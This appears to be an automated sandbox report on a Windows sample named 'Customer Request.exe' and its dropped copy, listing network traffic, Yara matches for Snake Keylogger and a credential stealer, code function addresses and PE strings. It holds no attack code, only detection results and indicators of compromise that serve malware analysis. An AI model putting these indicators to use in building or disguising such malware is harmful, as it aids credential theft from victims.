Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50096 version: TLS 1.2

Source: C:\Users\user\Desktop\Customer Request.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: sslproxydump.pcap, type: PCAP	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 10.2.Customer Request.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Customer Request.exe.457d230.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Customer Request.exe.457d230.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Customer Request.exe.457d230.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Customer Request.exe.457d230.1.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Customer Request.exe.459de50.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Customer Request.exe.459de50.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Customer Request.exe.459de50.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Customer Request.exe.459de50.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Customer Request.exe.459de50.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Customer Request.exe.459de50.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Customer Request.exe.459de50.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Customer Request.exe.459de50.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Customer Request.exe.457d230.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Customer Request.exe.457d230.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Customer Request.exe.457d230.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Customer Request.exe.457d230.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0000000F.00000002.2710539876.0000000002AEE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0000000F.00000002.2710539876.0000000002CF3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0000000F.00000002.2704268195.0000000000418000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0000000A.00000002.2710969497.0000000003152000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0000000B.00000002.1521631813.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000B.00000002.1521631813.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: Customer Request.exe PID: 5944, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Customer Request.exe PID: 5944, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: Customer Request.exe PID: 5932, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: gCFuOglEso.exe PID: 4500, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: gCFuOglEso.exe PID: 4500, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: gCFuOglEso.exe PID: 7388, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

.NET source code contains very large strings

Source: Customer Request.exe, Form4.cs	Long String: Length: 169248
Source: gCFuOglEso.exe.0.dr, Form4.cs	Long String: Length: 169248

Source: C:\Users\user\Desktop\Customer Request.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_0101E044	0_2_0101E044
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_05AF8588	0_2_05AF8588
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_05AF0006	0_2_05AF0006
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_05AF0040	0_2_05AF0040
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_05AFB903	0_2_05AFB903
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074A5170	0_2_074A5170
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074A0A20	0_2_074A0A20
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074AC740	0_2_074AC740
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074A5451	0_2_074A5451
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074A5460	0_2_074A5460
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074AC308	0_2_074AC308
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074A5160	0_2_074A5160
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074A41DF	0_2_074A41DF
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074A41F0	0_2_074A41F0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074A41B9	0_2_074A41B9
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074ADF40	0_2_074ADF40
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074ABED0	0_2_074ABED0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074A2BF8	0_2_074A2BF8
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074A0A10	0_2_074A0A10
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_074ABA98	0_2_074ABA98
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_08E70A80	0_2_08E70A80
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_08E7F0A9	0_2_08E7F0A9
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 0_2_08E70A70	0_2_08E70A70
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_012C6108	10_2_012C6108
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_012CC190	10_2_012CC190
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_012C3581	10_2_012C3581
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_012CC479	10_2_012CC479
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_012CB4FD	10_2_012CB4FD
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_012CC75D	10_2_012CC75D
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_012C6880	10_2_012C6880
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_012CBBE1	10_2_012CBBE1
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_012CCA31	10_2_012CCA31
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_012C4AE5	10_2_012C4AE5
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_012CBEB0	10_2_012CBEB0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_05605440	10_2_05605440
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_0560C738	10_2_0560C738
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_0560C010	10_2_0560C010
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_056042C0	10_2_056042C0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_05602F78	10_2_05602F78
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_05607AF0	10_2_05607AF0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_05602478	10_2_05602478
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_05605430	10_2_05605430
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_0560F768	10_2_0560F768
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_0560F758	10_2_0560F758
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_05604720	10_2_05604720
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_05604710	10_2_05604710
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_0560B668	10_2_0560B668
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_0560B658	10_2_0560B658
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_0560C6D1	10_2_0560C6D1
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_0560C012	10_2_0560C012
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_056042B0	10_2_056042B0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_05602F68	10_2_05602F68
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_05604FE0	10_2_05604FE0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_05604FD0	10_2_05604FD0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_05604B7B	10_2_05604B7B
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_05604B80	10_2_05604B80
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_05607AE1	10_2_05607AE1
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C9C6B0	10_2_06C9C6B0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C98530	10_2_06C98530
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C9C6A1	10_2_06C9C6A1
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C99418	10_2_06C99418
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C92AB0	10_2_06C92AB0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_07242E74	10_2_07242E74
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_072455D8	10_2_072455D8
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_07243BC0	10_2_07243BC0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_07243BD0	10_2_07243BD0
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_00B7E044	11_2_00B7E044
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_05068588	11_2_05068588
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_05060006	11_2_05060006
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_05060040	11_2_05060040
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_0506B8F8	11_2_0506B8F8
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D05170	11_2_06D05170
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D00A20	11_2_06D00A20
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D0C740	11_2_06D0C740
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D05453	11_2_06D05453
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D05460	11_2_06D05460
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D0C308	11_2_06D0C308
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D041F0	11_2_06D041F0
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D041EB	11_2_06D041EB
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D041BB	11_2_06D041BB
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D05160	11_2_06D05160
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D0BED0	11_2_06D0BED0
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D0DF40	11_2_06D0DF40
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D02C03	11_2_06D02C03
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D0BA98	11_2_06D0BA98
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D00A10	11_2_06D00A10
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_083B0A80	11_2_083B0A80
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_083BF0B3	11_2_083BF0B3
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_083B0A70	11_2_083B0A70
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_05068ADB	11_2_05068ADB
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_05068AE8	11_2_05068AE8
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_029AB328	15_2_029AB328
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_029AC190	15_2_029AC190
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_029A6108	15_2_029A6108
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_029A6730	15_2_029A6730
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_029AC751	15_2_029AC751
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_029AC470	15_2_029AC470
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_029A4AD9	15_2_029A4AD9
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_029ACA31	15_2_029ACA31
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_029ABBD3	15_2_029ABBD3
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_029A9858	15_2_029A9858
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_029ABEB0	15_2_029ABEB0
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_029AB4F3	15_2_029AB4F3
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_029A3570	15_2_029A3570
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_06E34588	15_2_06E34588
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_06E33BC0	15_2_06E33BC0
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_06E33BD0	15_2_06E33BD0
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 15_2_06E353A8	15_2_06E353A8

Source: Customer Request.exe

Static PE information: invalid certificate

Source: Customer Request.exe, 00000000.00000002.1484012977.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Customer Request.exe
Source: Customer Request.exe, 00000000.00000002.1490920950.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs Customer Request.exe
Source: Customer Request.exe, 00000000.00000000.1446331231.0000000000796000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamerqSA.exeF vs Customer Request.exe
Source: Customer Request.exe, 00000000.00000002.1487696864.0000000002CAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs Customer Request.exe
Source: Customer Request.exe, 00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs Customer Request.exe
Source: Customer Request.exe, 00000000.00000002.1490920950.000000000431E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Customer Request.exe
Source: Customer Request.exe, 00000000.00000002.1503031924.000000000B670000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Customer Request.exe
Source: Customer Request.exe, 00000000.00000002.1501024869.0000000007460000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs Customer Request.exe
Source: Customer Request.exe, 0000000A.00000002.2745847494.0000000006EC9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Customer Request.exe
Source: Customer Request.exe	Binary or memory string: OriginalFilenamerqSA.exeF vs Customer Request.exe

Source: Customer Request.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: sslproxydump.pcap, type: PCAP	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
